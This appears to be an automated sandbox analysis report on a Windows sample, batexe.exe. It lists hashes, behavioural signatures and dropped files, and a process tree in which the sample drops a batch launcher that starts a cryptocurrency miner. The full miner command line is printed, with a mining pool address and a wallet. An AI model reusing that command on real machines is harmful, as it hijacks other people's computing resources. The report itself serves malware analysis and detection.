Analysis

  • max time kernel
    291s
  • max time network
    310s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    21-02-2024 10:53

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:884
    • C:\Users\Admin\AppData\Local\Temp\8C13.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\8C13.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8C13.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1688
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\928B.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1520
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4616

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\8C13.tmp\b2e.exe

    Filesize

    10.2MB

    MD5

    4b6af2666a0b3ed9bacc2d00b009002e

    SHA1

    d30ef8282647219c6c2669e71ccb422a2823c553

    SHA256

    198be6829b3b0064ff523ae85bc5b1de025685bb95a08a3c33a5092859c9c8a8

    SHA512

    5e47bed4cdad2aabc031a4a5b5c1b9e85327bb3972fd7a23cf4a1bd70a34a1b46ae2da92a753382fc58a13f9ad20f59a6d1df66d7c4979678e67b6d443220bb0

  • C:\Users\Admin\AppData\Local\Temp\8C13.tmp\b2e.exe

    Filesize

    512KB

    MD5

    e4d2817f5e794155ac4a8a1445b9d728

    SHA1

    07f6972ab84878cee3a3e158cf9b0b27c8ad175d

    SHA256

    24781b2a837565d59faae5eff35a839726a5aa2f952f46e5e5b593f53ab6774b

    SHA512

    9ed2839db8465f9eb07d9bb2d29e1a35cc1c2e0b8c8f52007248752df018c899135e6d3f944e7e1363b3d5fe4928ccb71725fcaafedfd3cd496307619cf164f6

  • C:\Users\Admin\AppData\Local\Temp\8C13.tmp\b2e.exe

    Filesize

    64KB

    MD5

    3e63d8d147aec3c4d5e3e08d79395350

    SHA1

    633cc399218c2915b895a83bda89bce9f37e39dc

    SHA256

    39cc053a2dc8074a4530b02f00bd8bb723e52196224d978d9aad3b0f75740320

    SHA512

    545308057e5ea490e55f5bdd7fbec20fd954f847cae6f60460a4b135bf76c4c8502d922768d8e3a96d29d4c3a513b91ebc40bcaf5395de2c50d4368fd46fc536

  • C:\Users\Admin\AppData\Local\Temp\928B.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.6MB

    MD5

    68b9ac5ae90127c74273f1cef7595a9e

    SHA1

    65958596f7fe21ea3e238c100800d787c3d21dbd

    SHA256

    1ad13e424fca379121bb202175bf2aa3435689f277211efe47db641baee60714

    SHA512

    7cd043504e0ac675c3b73aaf5c2614f570d9b9ba765e5d4eb256d441e06f2e3cce2d01004b6888b40fd65c656a3a422a662f547e0ed48a2c5b45ca4823ff1ec7

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.4MB

    MD5

    2af1ce05b5a790b134eefd1efd88dab7

    SHA1

    b078e6f3cf7ee356e0d9b671c6d33f3a6e777524

    SHA256

    ce4cb4f4e60a89cbf413622a7f96f879ee15256d4ed5872ccbc3f2b366369fe3

    SHA512

    bc08666b4c96fb98b1e1a9db0ec10c5bbcddb82efc4829d65057f765a37a24f6e28076300dcc3f07c0b547b563593232f90d959607ee6a5faca26b27364cf695

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.1MB

    MD5

    c92c77f1a0ac6f5dc252a0e6187d8345

    SHA1

    f7814840f3adb7a5f510c3cd772682d5542880d4

    SHA256

    2fc1c2da730cdbdf707f77739c0a6ccd5f598b75d7dcff31eed0f68549f1e043

    SHA512

    dcc271087d055c897b6f5ca858da460861a32f18100a211d794b57778f1c51b06f627e979ecb7e0c9fd06c2f41e4dbcfc168a21611810f867b14d033aab74111

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.1MB

    MD5

    03ae1346c99a66fcbd06c3a56898820a

    SHA1

    cf57878eb1c3523d08468ba3e9e65a063c24d902

    SHA256

    bdb28d28d4f6093c2bbf0cbdf1b2edaf325ad34c214cde4123437896488dc445

    SHA512

    b1e6f93db804c65f996ae29123a601ee95830391d9f5b73608962cbcd25a9082f1b1f9a6e732e5f84bfa3bd7207101edf9d076445370150ae58c9dcace634260

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.2MB

    MD5

    e5ad741b50e51cfb77f8bc80e669acf4

    SHA1

    19a1ecff5b7aa7008d0b1d70dc2aa4b1b2ed9e86

    SHA256

    c9edf0f5691a3cab0fbf0d94c28b2dccb6e155e541a871b29873aeeb1a7f1c1d

    SHA512

    1342b8d883586a5946bf83d6e31a4a078dcce1651a0ed2eabe3d539adb1a3b0c14f821161f82b228a3d3814bf39bbc401ffd5128c80805afd8cd4b37bbf04e63

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    960KB

    MD5

    f3707fd5b389e53285dfb3815a4785b8

    SHA1

    788b2ac7be4acb28e804021893e11cdd44ee0784

    SHA256

    f7ef0e3e60989fac5636e6e5a018b730b403b75889125b56c4d07d6279e94c94

    SHA512

    f11d8577758db08f597987f525b4fc4c8c3f5181255f89281300968dc90fe4b298c322e3f531f768cd5014d116bb7161365c9d3fbaa76ab835405d8a1e231f26

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/884-8-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/1688-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1688-58-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4616-47-0x0000000001150000-0x0000000002A05000-memory.dmp

    Filesize

    24.7MB

  • memory/4616-45-0x000000006FEB0000-0x000000006FF48000-memory.dmp

    Filesize

    608KB

  • memory/4616-46-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4616-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4616-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4616-53-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4616-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4616-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4616-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4616-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4616-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4616-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4616-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB